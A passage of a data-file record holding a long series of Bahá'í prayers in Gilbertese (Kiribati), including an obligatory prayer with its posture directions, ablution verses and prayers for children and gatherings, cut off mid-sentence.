1.0000100135803223}","num_words":9317,"character_repetition_ratio":0.061,"word_repetition_ratio":0.001,"special_characters_ratio":0.219,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Return\nFacebook\nZip File\n(Are e tangiria n atonga te tataro aio, ke e tei ao n rairaki nakon Te Atua, ao, ngke e tei i aon ana tabo, e na taraa te angaatai ao te angamaing, n aron ae e tataninga Ana nanoanga te Uea, te Kabanea n Nanoanga, te Moamoaaomata. Ngkanne ke e atonga aei:)\nO Ngkoe aia Uea aara nako ao te Tia karaoi taian karawa! I Butiiko irouia Naake Ngaiia Bongin-Rikiraken Oioim ae e aki nooraki, te Kabanea n Rietaata, te Kabanea ni Mimitong, ni karaoa au tataro bwa te ai are e na kabueki rabunanimata nako ake a kainai man Tamaroam, ao te oota are e na kairai nakon marawan Kaaniam.\n(Ke e tabeki baina n ai aron ae e bubuti nakon Te Atua—are e kakabwaiaaki ao ni karietataaki Ngaia—ao n atonga aei):\nO Ngkoe are e kainnanoia te aonaaba ao are E tangiraki irouia aaba nako! Ko noorai ngkai n rairaki Nakoim, ao n taua Am roobu, are ni kakamwakurina e a tia ni mwaing iai te karikibwai. Boni ngai am toro, Ngkoe au Uea, ao natin Am toro. Ko noorai ngkai I tei n tauraoi ni karaoa are Nanom ao are Ko tangiria, ao n akea te bwai ae I tangiria bwa ti are Kukureim. I Butiiko ni Marawan Am nanoanga ao n Itoi ni Ngainan Am raoiroi bwa e na karaoia Am toro are Ko nano iai ma n tangiria. Ni korakoram are e riaon bwaai ni kabane ake a taekinaki ao n neboaki! O Ngkoe Te Atua, ae Atuau! Tai taratarai au kaantaninga ma au mwakuri, ma ko na tara Nanom are e a tia n otabwanini karawa ma aon te aba. N Aram ae Moan te Kakannato, O Ngkoe aia Uea aaba nako! I ti nano n are Ko nano iai, ao n tangira are Ko tangiria.\n(Ke katorobubua, ni bobaraaki ni kaboa ramwana ma aontano, e atonga aei):\nKo bon karietataaki i aon aia kabwarabwara tabeman ma ti Ngkoe, ao akea riki aia atatai ma ti Ngkoe.\n(Ke e tei ao n atonga aei):\nKarika au tataro, Ngkoe te Uea, bwa te koburakenran ae maiu, are I kona ni maiu iai ni maanin Am tautaeka, ao n Atoatongko ni katoai nako aonaaba ake Am aonaaba.\n(Ke e tabeki baina ni bubutii, ao n atonga aei):\nO Ngkoe are Mwaawam man naano ao tamnei are a rannako iai, ao n ain Am tangira are e a tia ni urarake te aonaaba ae bwanin! I Butiiko n Aram are rinanona Ko a tia iai ni kateimatoa Am karikibwai, n aki taua nakoiu are bon iai Iroum, O Ngkoe are E tautaekan aroia aomata! Ko noora te ianena, O Ngkoe au Uea, are e kawaekoa nakon mwengana ae kabanean te rietaata i aan umwan Ueam ao i nanoaan Am tabo n nanoanga, ao ae e aki kororaoi aei ae e ukoukora marawan Am kabwarabure; ao ae e rinano aei botakin Mimitongim, ao te karikibwai ae e kainnano aei ae e kan ataa Kaubwaim. Bon Am bwai te tautaeka n aron are Ko tangiria. I kaotia ma te koaua bwa Ko na bon neboaki n Am mwakuri nako, ao n iraki nanon Am kaetieti, ao n teimatoa n inaomata n Am tua.\n(Ke e tabeki baina, ao ni kaokiokia n atonga te Ara are Moan te Kakannato [Alláh'u'Abhá] tenua te tai. Ke e bobaraaki ni katokai baina i aon bubuanwaena i matan Te Atua—Te kakabwaiaaki ao te karietataaki—ao n atonga aei):\nKo noora, O Ngkoe Atuau, aron tamneiu ngke e kamwaingaki i nanon bwain nako rabwatau, ma ingaingana ni kan Taromauriiko, ma nanona ni kan Uringko ao n Neboiko; arona ni kakoauaa are e a tia ni kakoaua iai Newen Am Kaetieti n abanuean Am taeka ao karawan Am atatai. I tangiria, n arou aei, O Ngkoe au Uea, ni Butiiko bwaai ni kabane ake Iroum, bwa I aonga ni kaotiota kainnanou, ao ni kabubura Am kakabwaia ma Am kaubwai, ao ni kona ni kaota mamaarau, ao ni kaotiota Mwaakam ao Korakoram.\n(Ke e teirake ao n tabeki baina ni bubuti uoua te tai ni bubutii, ao ni kaangai):\nBon akea Te Atua bwa ti Ngkoe, Kabanean te Mwaaka, te Kabanea n Atataiaomata. Bon akea Te Atua bwa ti Ngkoe, te Tia Katabu, ni kauatabo n te moa ao n te toki. O Ngkoe, Atuau! Am kabwarabure are e a tia ni kamatoaai, ao Am nanoanga e a tia ni kakorakoraai, ao e a tia ni kautai Am wewete, ao e a tia ni kateirakeai Nakoim Am raoiroi. Antai ngai, ngkana tiaki, are e na kona n tei ni mataroan kaawan Kaaniam, ke ni katoka matau nakon oota ake a ootanako man karawan Nanom? Ko bon noora, Ngkoe au Uea, te karikibwai ae e rawawata aei ni karebwerebwe ni mataroan Am raoiroi, ao te tamnei ae tiotio nako aei are e ukoukora karaangan te maiu are akea tokina man bain Am kakabwaia. Bon Am bwai te tautaeka n taai nako, O Ngkoe are Uean aara ni kabane, ao au bwai butimwaean ao te angarake nanou nakon Nanom, Ngkoe te Tia Kariki taian karawa!\n(Ke e teirake ao n tabekarake baina tenua te tai, ao ni kaangai):\nE korakora riki Te Atua nakon bwaai nako ake a korakora!\n(Ke e katorobubua ao, ni kabobaraaka ramwana nako aontano, ao ni kaangai):\nKo bon rangin rietaata i bukin aia nebo naake a kaan Nakoim bwa a na rierake nakon karawan Kaaniam, ke mannikiban nanoia naake a baabanennano Nakoim ni karekean mataroan te kawai n rin Nakoim. I kaotia ma te koaua bwa ko a bon tia ni kamimitongaaki i aon aroaro nako ao n tabu i aon aara nako. Bon akea riki Te Atua bwa ti Ngkoe, te Kabanea ni Karietataaki, te Kabanea ni Mimitong.\n(Ke e tekateka ao ni kaangai):\nI kaotia ma te koaua nakon are a tia ni kakoaua iai karikibwai ni kabane, ao te Runga ni Karawa are e rietaata, ao kaain nako te Baretaiti are te kabanea n rietaata, ao i aoia riki bon te Newe are E Mimitong man te Oraitan are te kabanea ni mimitong, bwa boni Ngkoe Te Atua, ao bon akea riki Te Atua bwa ti Ngkoe, ao Teuare E a tia ni kaotaki bon te Kamiimi are e Raba, te Kanikina are e Kakaawaki, are rinanona manintaeka aika B ao E are a tia ni uaia n rarangaaki. I kaotia ma te koaua bwa Teuare Arana are e a tia ni koreaki iroun Kainikorobokin te Kabanea n Rietaata, ao are E a tia ni mwaneweaki n Ana Boki nako Te Atua, Uean te Kaintokanuea are e rietaata ao te aonaaba i nano.\n(Ke e kainetia ao n atonga aei):\nO Ngkoe are Uean taian maiu nako ao te Tia Bwain bwaai nako aika a nooraki ao aika a aki nooraki! Ko bon noori rannimatau ma nanokaawakiu, ao n ongo au bwaebwaeti, ao tanginiweneiu, ao tangin nanou. Ni Mwaakam! Au kabwaka nako ake a tia n tauai man Kaaniam; ao a tia ni kararoaai au bure man Am botaki ae tabu. E a bon tia Am tangira ni karikirakeai, O Ngkoe au Uea, ao raurenakou Mairoum are e a tia n uruanai, ao raroau Mairoum are I a tia n rootaki iai. I Butiiko ni kawaim nako n te rereua aei, n taeka ake \"Bon aei ngai. Bon aei ngai\" are a tia n taekinna n te otabwanin aei, ao n ikeiken nako Am Kaotioti, ao karauraun angin nako Ingaabongin Kaotiotam, ni kataua bwa I aonga n tara Tamaroam ao n iri nanon baike i nanon Am Boki.\n(Ke e kaokioka atongan te Ara are Moan te Kakannato tenua te tai, ao ni bobaraaki ni katikui baina i aon bubuanwaena, ao e atonga aei):\nTe nebonebo Nakoim, O Ngkoe Atuau, bwa Ko a tia ni buokai bwa Nna Ururingko ao n Neboiko, ao Ko a tia ni karekea ataakina irou Teuare Ngaia Rikiraken Bongin Am kanikina nako, ao Ko a tia ni karikai bwa Nna bobaraaki i matan Rikiam ni Uea, ao ni kamangorai i matan Arom n Atua, ao ni manga taekin baike a taekinaki n Newen Mimitongim.\n(Ke teirake ao n atonga aei):\nTe Atua, ae Atuau! E a bwaoua nuukau n rawawatan au bure, ao e a uruanai au aki tatabeakin. N te tai are I iangoi iai au mwakuri aika a bubuaka ao Am moamoaaomata, e ran nako buroou i nanou, ao e a buro raraau i nanon iau. N Tamaroam, O Ngkoe are E kainnanoia te aonaaba! I maamaa n tabekaarake matau Nakoim, ao a nuka baiu aika a kariaria n taakin nakon karawan Am kakabwaia. Ko bon noora, Atuau, aron rannimatau ngke a tuukai man Uringam ma neboan Aroarom nako aika a raraoi, O Ngkoe Uean te Kaintokanuea are e Rietaata ao i aon te aonaaba are i nano! I Butiiko ni kanikinaean nako Ueam ao kamimiin nako Am tautaeka bwa ko na karaoia nakoia ake Ko tangiriia are e na riki bwa Am kakabwaia nakoia, O Ngkoe Uean taian maiu nako, ao e tau i bukin Am raoiroi, O Ngkoe Uean te nooraki ao te aki nooraki!\n(Ke e kaokiokia n atonga te Ara are Moan te Kakannato tenua te tai, ao ni katorobubua ao ni kaboa ramwana ma aontano, ao e kaangai:):\nTe nebonebo Nakoim, O Ngkoe Atuara, bwa Ko a tia ni karuoa nakoiira are e na uotiira ni kaniira Nakoim, ao ni kakatauraoi i bukira ma baike a raraoi ake a tia ni karuoaki mai Iroum n Am Boki nako ao Am Reirei. Kamanoira, ti Butiiko, O Ngkoe au Uea, mairouia naake akea nanon aia koaua ma aia katautau aika akea uaaia. Boni Ngkoe, ni koaua, te Korakora, te Kabanea n Ataibwai.\n(Ke e tabekarake atuuna, ao ni kainetia n tekateka, ao e atonga aei):\nI kakoaua, O Ngkoe Atuau, nakon are a tia ni kakoaua naba iai naake Ko rineiia, ao are a tia ni kaota kakoauaan are a tia ni kakoauaa naba naake kaain te Baretaiti are te kabanea n rietaata ao naake a rarauniia Am Kaintokanuea ae mwaaka. Bon Am bwai abanuean te aonaaba ao karawa, Ngkoe Uean aonaaba nako!\nE na anaaki ni katoa bong, n te ingaabong, te tawanou ao te tairiki\n(Are e kan tataro, e na teboki baina, ao ngke e tabe n teboki, e atonga aei):\nKamatoai baiu, O Ngkoe Atuau, bwa e aonga n taua Am Boki ma aron te baabanennano bwa a aonga n akea korakoraia kaain te aonaaba i aona. Kaawakinna, ngkanne, man karaoan baike e aki katauaki iai. Boni Ngkoe, ni koaua, Moan te Mwaaka, te Kabanea ni Korakora.\n(Ao ngke e tabe n teboki matana, ke e atonga aei):\nI a tia n raira matau Nakoim, O Ngkoe au Uea! Karikia n oota man Moamoam. Kamanoa, ngkanne, man rairakina nakon temanna riki ma ti Nakoim.\n(Ke e teirake, ao ni kaaitara te Qiblih—Boton te Nebonebo, are i Aakora, ao ke e atonga aei):\nE a tia ni kaotia Te Atua bwa akea riki Te Atua ma ti Ngaia. Bon Ana bwai abanuean nako te Kaotioti ao te karikibwai. E a bon tia, ni koaua, ni kaotiota Teuare Ngaia Bongin Rikiraken te Kaotioti, are E taetae i aon Tinai, are Rinanona are E a tia ni karikaki te Oraitan ae Kakannato bwa e na oota, ao e a tia n taetae iai Kain te Rote are e aki kona n riaoaki, ao Rinanona are e a tia n tabekaki te wewete nakoia ake i karawa ao aika i aon te aba: \"Nooria, E a roko Teuare te Kabanea ni bwaibwai. Te aonaaba ao karawa, te mimitong ao te tautaeka bon Ana bwai Te Atua, aia Uea aomata ni kabane, te Tia Bwaina te Kaintokanuea are i eta ao n te aonaaba are i nano!\"\n(Ngkanne, ke e bobaraaki, ma baina ni kawenei i on bubuanwaena, ao n atonga aei):\nKo bon karietataaki i aon au nebo ao aia nebo naaka i rarikiu, i aon riki au kabwarabwara ao aia kabwarabwara ni kabane ake i karawa ao ni kabane aika i aon te aba!\n(Ngkanne, e tei ma baina aika e taakin, nanon baina n tararake nakon matana, ke e atonga aei):\nO Ngkoe Te Atua, tai kabwara nanon teuare e a tia ma tabonibaina ni bubuti, n nimta kaon Am nanoanga ao Am raoiroi, O Ngkoe are Ko bon kaota te nanoanga ao bon Ngkoe te Kabanea n Nanoanga!\n(Ngkanne, ke e tekateka, ao n atonga aei):\nI kaotia ni kakoaua Am katiteuana ao ae ti temanna Ngkoe, ao bwa boni Ngkoe Te Atua, ao bon akea riki Te Atua temanna i Rarikim. Ni koaua, ko a bon tia ni kaota Am Waaki, ni kakoroa nanon Am Boraraoi, ao ni kaukaa nako mataroan Am raoiroi nakoia ni kabane ake a maeka i karawa ao i aon te aba. Te kakabwaia ao te rau, te kamauri ao te mimitong, bwa e na mena i aoia ake Ko tangiriia, ake a tia n aki rootaki man rairakiia nako Mairoum man bibitaki ao angaraoi n te aonaaba, ao n tia n anga bwaai nako, n te kaantaninga ni karekean are iai iroum. Boni Ngkoe, ni koaua, te Kakabwarabure, te Kabanea n Ataataiaomata.\n(Ngkana iai temanna are e rineia n atonga te kibu aei nakon are te kibu are e abwabwaki n taekana aei: \"E a tia ni kaotia Te Atua bwa bon akea riki Te Atua ma ti Ngaia, te Buoka n te Kanganga, ao te Maiu i bon Irouna,\" e na bon tau. Ao n te aro anne, e na bon tau naba ike e mena iai, ngke e tekateka, n rineia n atonga te kibu aei: \"I kaotia ma te koaua n Am katiteuana ao n ti temanna Ngkoe, bwa boni Ngkoe Te Atua, ao bon akea riki Te Atua i Rarikim.\")\nE riai n anaaki te tataro aei te taina i nanon uabwi ma aua te aoa, n te tawanou\nAtuau, I kaotia ma te koaua bwa Ko a tia ni karikai bwa Nna Ataiko, ao n Taromauriiko. Ao I kaotia n te tai aei bwa bon Moan te Mwaaka Ngkoe ao ngai bon moan te mangori. Moan te Korakora Ngkoe ao ngai bon moan te kainnano. Bon akea riki Te Atua temanna bwa ti Ngkoe, te Buoka n te kangaanga, ao te Maiu i bon Irouna.\nTe Atua, ae Atuau! Kaotai moaia Am koraki ake a Tatangiriko ni koaua, ao buokiia ni barongaia anera n te tokanikai ae e koaua raoi. Kamatoai waeia i aon Kawaim ae e eti, ao man Am tituaraoi are mangkoa kauki i mwaaiia mataroan Am kakabwaia; bwa a kaakabanea i aon Kawaim baike Ko a tia n anganiia, n tararuaa Am Aro, ni katutuka aia mwioko i nanon aia Ururingko, n angaanga nanoia i bukin Tangiram, ma n aki tauanibwai ni kaubwaiia i bukin neboan Tamaroam, ao ni kakaaei aanga i bukin Kakukureiam.\nAu Uea! Baairea i bukiia te tibwa ae mwaiti, te kabomwi are e kaman katauaki ao te kanuwanga ae koaua.\nBoni Ngkoe, ni koaua, te Tia Angaanga te Maiu, te Tia Buobuoki, te Aakoi, te Tituaraoi, te Angaanga n taai nako.\nAu Uea, au Tangira, Maamaten nanou! Raonai i nanon maroaau ao irai ni kanakoakiu nako mai abau. Kanakoa nanokaawakiu. Karekeai bwa Nna katabua maiu ibukin Tamaroam. Kakerikaakai man bwaai nako ma ti Ngkoe. Kariiai n Am boiarara ae e tabu. Karikai bwa Nna irekenrao i nanon Ueam ma naake a mwaawa man bwaai nako ma a aki mwaawa Mai iroum, naake a ingainga ni bekua atiibun Am mataroa ae e tabu ao naake a tei ibukin te mwakuri i nanon Am Waaki. Karikai bwa temanna i buakoia Am tabonibai aika aine ake a tia n roota kakukurein Nanom. Bon Ngkoe ni koaua te Raoiroi te Tituaraoi.\nAu Uea! Au Uea! I Neboiko ao I Katituaraoiko bwa Ko a tia n nanoangaa Am toro te aine ae mangori aei. E bon karinanoa ma ni Kamoamoako Am toro aei ngkai Ko a tia ni kairia nakon Ueam ma n kaongoa Am weewete ae moan te rietaata nakon te aonaaba aei, ao Ko anganna naba te noraaba bwa e na noori Am kanikina ake a konaa ni kakoaua Am tautaeka n tokanikai i aon bwaai nako. Au Uea! I a bon anganiko te ataei ae i nanon birotou aei bwa e aonga n riki bwa ataein Abanueam ae moan te bongana, bwa e na rikirake i nanon Am tangira, e na maiu ma n rikirake i aan Am kaawakin ma Am kairiiri. E bon koaua! Bwa boni Ngkoe te Aakoi. E bon koaua bwa boni Ngkoe ae moan te bati Am bwai n Aakoi.\nTe Atua! Reireiniia ataei aikai. Ataei aikai bon aroka n Am onaroka, Ueen Am tawaana, rootin Am onaroka. Kabwaka Am karau i aoia; kaootaa Taain te Tamnei i aoia ma Am tangira. Kareiia n Angim bwa a na kaitiakiia bwa aonga n reireiaki, n rikirake ao ni waakirake ao ni karekea moan tamaroaia. Bon Ngkoe te Tia Angaanga! Bon Ngkoe te Tia Ibuobuoki!\nAtuau! Kairai ao kaawakinai. Kaotaa riki tauran nanou ao karikai bwa te itoi ae raneanea.\nBon ni Ngkoe te Mwaaka ao te Korakora.\nAu Uea! Au Uea! Ngai te teei ae e karako au ririki. Kamarikeai man mmamman Am atataiaomata, kataneiaai i nanon bwanibwanin Am tangira, reireiai i nanon kuuran Am kairiiri ao karikirakeai i aan nuun Am tituaraoi. Kabwaraai man te roo, karikai bwa teuana te oota ae ura mwaaka; kainaomataai man te aki kukurei, karikai bwa ueen te o n rooti; katauai bwa Nna riki bwa te toro i matan Am mataroa ao karuoa nako aou te aroaro ao te anua ake aekaia naake a etieti; karaoai bwa teuana bukin rikin te tituaraoi i bukin te aonaaba n aomata, ao unekenekea atuu ni baunuean te maiu ae akea tokina.\nNi koaua, boni Ngkoe te Korakora, te Matairiki, te Tia Ongo.\nTe Uea ae akea Kabotauana! I bukin Te teei are e aki konabwai naba Ngkoe te Tia Kaawakinna, ao i bukin are e mamaara ae bubure aei bwa Ko na aakoi ao Ko na kabwaraa ana bure.\nTe Tia Karikibwai! E ngae ngke bon ngaiira uteute ae akea manera, ma bon bwain naba Am onaroka aika a uarereke, ae akea ueeia ma baaia; ngaia are kamwarakea te uteute aei ni karaun Am Tituaraoi; kaitiakia ao kamaiu aroka aikai n angin Am rikirake n tamnei.\nKautiira, kaootaiira, kaawakiniira, anganiira te maiu are akea tokina ao katauiira i nanon Am abanuea.\nTe Atua, karikirakea te teei aei i nanon Tangiram, anganna te amwarake teuana mai nuukan nanon Am aakoi ae riai i bukina, ao kaawakinna raoi ni nnen rootin Am tangira ao kamaiua n ranin Am aakoi. Karikia bwa ataein Abanueam ao kairia i nanon Taekam. Ngkoe ae moan te Mwaaka ma n Aakoi ao moan te Ataataiaomata, are E moa i aon bwaai ni kabane Ana Karaoiroi.\nNgkoe Te Atua ae Moan te Itiaki ao te Katoki ni Mwaaka! Bon au Uea Ngkoe ae moan te Aakoi! Anganiira te aeka ni korakora are ti na kona iai ni kaaitarai aeka ni kanganga nako ni katabwanina te aonaaba, ao kariaia anganakira te aeka ni mwaaka teuana are e na tabeki naon ara kekeiaki mwaaka n aron naon Marawan te Betebeke, ni kona n rooti aon biken te itera Mainiku ao te itera Maeao.\nTe Atua ae E Nanoanga! Tooro aikai a rairaki nakon Am abanuea n ukoukora Am tituaraoi ao am bwai n aakoi. Te Atua! Karikii nanoia bwa a na raoiroi ao n itiaki n te aro bwa a aonga ni kona n butimwaea Am tangira. Kaitiaki ao katabui tamnei bwa e aonga otan Taain te Koaua n otanako irouia. Kaitiakii ao kamwawai maata bwa a aonga n nora Otam. Kaitiakii ao kamwawai taninga bwa a aonga n ongo ana wewete Am abanuea.\nTe Uea! Ti bon ngore, ma ko bon korakora. Ni koaua, ti bon kainnano, ma ko bon kaubwai. Ngaira taan ukeuke, ao Ngkoe bon Ngaia are ti Ukoukoriko. Te Uea! Nanoangaira ao kabwarai ara bure, anganira te konabwai ao te nano n tauraoi bwa ti aonga n tau ni butimwaea nanom ao ni katikaki nakon Am abanuea, bwa ti aonga ni moi man Am ran ni kamaiu ae akea tokina, bwa ti na niniaki n ain Am tangira, ao ni kamaiuaki man ikeiken te Tamnei ae e Raoiroi n te tienture ae e ota aio.\nTe Atua, Atuau! Karuoa am taratara n tangira n akoi nako aon te ikotaki aio,. Kamanoia n tatabemaniia ao ni kabane inanon Am tararua ao iaan Am kamanomano. Karuoa nako aon tamnei aikai taian kakabwaia ni karawa. Kateboia inanon marawan Am nanoanga, ao kamaiuia n ikeiken te Tamnei ae e Raoiroi.\nTe Uea! Anga am buoka ae e tituaraoi ao am kamatoa nako aon te tautaeka ae e motiraoi aio. Te aono aio e wene iaan nuun Am kamanomano, ao aomatana a beku Ibukim. Au Uea! Kataua ibukiia te tibwanga mai karawa ao karekea waanakon Am tituaraoi ao Am mwamwannano ae e taonako man bwakanako. Kataua ibukin te aono ae e karietataaki aei bwa e na teimatoa te karinerine nako aona, ao kariaia bwa e na karinaki inanon Am abanuea.\nBon Ngkoe te Mwaaka, Kabanea ni Korakora, te Nanoanga ao bon Ngkoe te Tituaraoi, te Akoi ao Uean te Tamaroa ae e aki kona n toki.\nNgkoe Te Atua ae te atataiaomata! Ngkoe are Ko korakora ma ni mwaaka! Ngkoe are te Tama ae moan te aakoi! Tooro aikai a tia n ikotaki n rairaki Nakoim, ni bubutii ma te mangori n atiibun Am mataroa, n tangira Am tituaraoi are akea tokina man Am karaunano ae kakannato. Akea aia oi ma ti kukurein Nanom. Akea nanoia bwa ti te beku i bukin ana aonaaba te botannaomata.\nTe Atua! An karaneanea te ikotaki aio. Kariki naano bwa a na atataiaomata. Katoamauiia n Ana tituaraoi te Tamnei ae Raoiroi. Kaburea taekan te mwaaka teuana mai karawa nakoia. Kakabwaiaia n iango ni karawa. Karikirakea kokoauaia bwa aonga iai ngaiia n rairaki nakon Abanueam ma te nanorinano ae bwanin ao te nano maraki ao tabeakinan te beku i bukin ana aonaaba ni botannaomata. A bia ngaiia n tatabemaniia nako n riki bwa taura nenea aika a oota nako. A bia ngaiia n tatabemaniia nako n riki bwa itoi aika a kateke mata. A bia ngaiia n tatabemaniia nako n riki bwa tamaroan matamataia ao kianakon boiarara i nanon Uean Te Atua.\nTe Tama ae Aakoi! Aanga Am karaoiroi nako. Tai mwannanoi ara aki rokoraoi. Kataniia i aan Am kamanomano. Tai uring ara bure. Katoki aorakira n Am atataiaomata. Ti bon ngore; Ko bon mwaaka. Bon akea arora; Ko bon kaubwai. Ti bon aoraki; boni Ngkoe te Tia Katoki aoraki. Ti bon tangira buokara; boni Ngkoe te kabanea n tituaraoi.\nTe Atua! Kanonoira n Am katoronibwai. Boni Ngkoe te Mwaaka. Boni Ngkoe te Tia Angaanga. Boni Ngkoe te Raoiroi.\n(N te tai are kam rin iai n te ruu ni bowii, anaa te tataro aio ma te manawa ae e bukibuki n tangiran Te Atua ao te newe ae e itiaki ni kaakeai bwaai ni kabane i rarikin Ururingana, bwa e bia te Kabanea ni Mwaaka n aakoi ni buokingkami ni karekea te tokanikai ae e riao.)\nTe Atua ae Atuau! Boni ngaiira Am toro ake ti a tia ni kamwawaira man bwaai ni kabane i Rarikim i nanon te Bong ae e mimitong aei. Ti a tia n ikotaki i nanon te Botaki n Tamnei aio, ni katiteuanaaki n ara taratara ma ara iango, ao ni kaboraoaki aan ara kaantaninga i bukin kamoamoaan Am Taeka i buakoia botannaomata. Te Uea, ae Atuara! Karaoiira bwa kanikinaaean Am kairiiri ni karawa, bwa manuan Am Aro ae e karietataaki i buakoia aomata, bwa tabonibai i bukin Am mwioko ae korakora. Ngkoe ara Uea ae Moan te Rietaata, bwa kaotiotan Am katiteuana n Atua i nanon Am Abanuea ni Mimitong, ao itoi aika a raneanea n ootanako n aono ni kabane. Te Uea! Buokiira n riki bwa taari aika a ing man naouean Am raoiroi ae e otabwanin, raanga n ran aika a waanako man Am Tabuki aika a moanibaa ni mimitong, uaa aika a raraoi i aon Kain Am Waaki ni karawa, kaai aika a mwaeiei n angin Am Tituaraoi i nanon Am Onaroka ni Kureebe mai karawa.\nTe Atua! Karaoi tamneira bwa a na tinea Kibun Am katiteuana n Atua, kakimwareireian nanora n raanganakon Am Raoiroi, bwa ti aonga n ti teuana n aron naoni marawa ae teuana ao n riki ni botaki n aron buraenimatan Am oota ae e raneanea; bwa a aonga ara iango, ara taratara, ara namakin n riki iai bwa koauan aroia ae teuana, ni kaotiota angin te bonnano ni kabutaa te aonaaba. Boni Ngkoe te Raoiroi, te Tituaraoi, te Tia Aanga, Moan te Mwaaka, te Atataiaomata, te Nanoanga.\n(An botaki ngkami n te kimwareirei ae akea renganana, ao ni moanakin te bowi, atonga te tataro aio):\nNgkoe Uean te Abanuea! E ngae n are rabwatara a botaki ikai, ma nanora a mwaneraoi ni uotakinako n Am tangira, ao ti a tabekaki nako n ootan Moam ae e oota nako. E ngae n are ti ngore ma ti a tataninga kaotiotakin Mwaakam ao Korakoram. E ngae n are ti a kainnano n akea ara bwai ao akea angara, ma ti bon anaanai baike a bobuaka man kaubwain Abanueam. E ngae n are timtim ngaira, ma ti bon tootoom man kabin nanon Am marawa. E ngae ngke ngaira bubuntano, ma ti bon raitiiti man mimitongin Am Taai are raneanea.\nNgkoe ae te Tia Angaanga! Karuoa Am buoka, bwa ni kabane aika a botaki ikai a na riki n tatabemaniia bwa te taura te nenea ae ura, boton te kariirii, te tia weewete nakon Abanueam ake i karawa, bwa n tokina ao ti na karika te aonaaba ae ai moone aio bwa katootongan Am Bwaretaiti.\nNgkoe ara Uea ae e aakoi! Ko a tia ni karika te botannaomata nako man te riki ae ti te aekana, Ko a tia ni katauia bwa kaain te mweenga ae ti teuana, ao a tei i Matam ae Moan te Tabu, bwa Am toro ao te botannaomata a bane ni kaawakinaki i aan Umwam. Natim a uaia ni botaki i aon Am taibora n ataataiaomata ao n tia n riki n oota man tauran Am bwai ni kakaawakin.\nTe Atua! Ko aakoi nakoia ni kabane, Ko a tia ni kakaawakiniia ni kabane. Ko anga te maiu nakoia ni kabane, Ko a tia n anganiia ni kabane aomata te konabwai ao te wanawana ao ni kateboa te botannaomata inanon marawan Am nanoanga.\nNgkoe ara Uea ae e aakoi! Kabooi nanoia Aaro nako ao aaba nako bwa teuana te aba, bwa a aonga n nooriia n tatabemaniia nako bwa te utuuna, ao te aonaaba ae bwanin bwa kaain te mweengana. Bwa a na kona ni kabane ni uaia ni maeka n te boraraoi ae e kororaoi.\nTe Atua! Irakea ieta maniuan te botannaomata ae ti teuana.\nTe Atua! Katea te Raoi ae Moan te Kakannato.\nKo na katomai, te Atua, nanora ni kabane.\nNgkoe te Tama ae aakoi! Atuau! Kakukurei nanora rinanon boiararan Am tangira. Kaootai matara rinanon ootan Am kairiiri. Kakukurei taningara ma tangin Am Taeka, ao kamanoira ni kamanomanon Am kakaawakin.\nBon Ngkoe te Mwaaka ao te Korakora, bon Ngkoe te Tia Kabwarai-buure ao bon Ngkoe are E mamanuokin aia aki kororaoi botannaomata nako.\nI a tia n teirake n te ingabong aei man Nanom n aakoi, Atuau, ao ni kiitana mweengau ma ni kabwanina au onimaki Iroum, ao ni kaburea taekau nakon Am kakaawakin. Karuoa, ngkanne, nako aou, man karawan Am atataiaomata, te karaoiroi teuana mai Rarikim, ao e na konaa iai n reke irou okiran mweengau i nanon te mauri n ai aron are Ko a tia n anganai te konaa ni mwananga i aan Am kakaawakin ma au iango ake a tia n teimatoa ni kaineti Nakoim.\nBon akea riki Te Atua bwa ti Ngkoe, te Onoti n Ti Ngaia, ae Akea Kabotauana, te Kabanea n Ataibwai, te Kabanea ni Wanawana.\nAtuau, I a tia ni uti i nanon Am katantan, ao I a riki bwa teuare e bubutii katanana ni maeka i nanon Am tabo ni kaawakin ma korakoran Am totoko. Au Uea, kaotaa nanou n raoiroin kanoan Bongin Ataakim n ai aron naba ae Ko kaotaa iai au taratara n ootan ngainan Am aakoi.\nAtuau ao au Toka! Bon Ngai Am toro ao ana nati te mwaane Am toro. I a tia n teirake mai aon nneu ni wene n te ai oota aio ngke e a tia n oota nako iai Itoin Ngainan Arom ae ti teuana man Koburaken Ngainan Nanom, ma n tia ni kaotaorababa nako ootana i aon te aonaaba ni kabutaa, n ai aron are e a tia ni motikaki bukina i nanon Bokin nako Am Kaetieti.\nTe nebonebo nakoim Ngkoe, Atuau, ngkai ti a tia ni uti i nanon mimitongin ootan Am ataibwai. Karuoa, ngkanne i aora, au Uea, are e na konaa ni buokiira ni kaaki taekan temanna i Rarikim, ao e na taeinako ni kabane mairoura mwaninganakora n te bwai teuana ma ti Ngkoe. Ao i aon riki anne korobokiia i bukiu, ao i bukiia ake a tangiraki irou, ao i bukiia naba au utuu, te mwaane ma te aine ni kaboraoiia iai, raoiroin te aonaaba aio ao te aonaaba are e na roko. Kakamauriira ngkanne rinanon Am kakaawakin ae akea tootokina, Ngkoe ae Moan te Tangiraki irouia karikibwai nako ao are Maamatenanoia aonaaba ni bwaniniia, mairouia ake Ko a tia ni karaoia bwa kaotiotan te tia wiwi ae e Buakaka, ake a wirikiriki i nanon bwanibwaniia aomata. Ko bon mwaaka ni karaoa are Ko kani karaoia. Boni Ngkoe, ni koaua te Kabanea ni Mwaaka, te Buoka n te Kanganga, te Maiu i bon Irouna.\nNgkoe te Uea ae Atuau, karaoiroa Teuare Ko na tia ni kateia i aona Aram aika a moamoa, ao Rinanona Ko a tia ni kaokoroia aika a raoiroi ma aika a buakaka, ao aakoira ni buokiira ni karaoa are Ko tangiria ma n nano iai. Kakabwaiaia, riki, Atuau, naake bon Am Taeka ao Manin Am Taeka, ao naake a tia ni kainetii moaia Nakoim, ao n tia n rairaki nako Moam, ma n tia ni kakauongo n Am wewete.\nBoni Ngkoe, ni koaua, aia Uea ao aia Toka aomata ni kabane, ao Ko Mwaaka i aon bwaai ni kabane.\nAu Uea, ao Atuau ao au Tabo ni Motirawa man korakaiu! Otangau ao te Tia Kakaawakin man korakaiu! Au nono ao au Tabo ni Kakaawakin n tain te kangaanga ao n tain te maroaa bon iriau, n au tai n rawawata bon karauan nanou ao ngkana ti ngai bon raou ae e tangiraki. Te Tia Kamwaawai kananokaawaki nako ao te Tia Kabwarai au bure!\nI bon rairaki raoi Nakoim, ao ni bubutii n tataro Nakoim ma nanou ni kabanea, ma au iango ma neweu, bwa Ko na kamanoai man bwaai nako ake aki bootau ma Nanom, n te tai aei, ae bon Tain Waakin Am katiteuana n Tamnei, ao ni kaitiakai man aeka ni kabarekareka ake a na tuukai man Ukoukoram, n itiaki ao n aki bareka, are nunikain Am 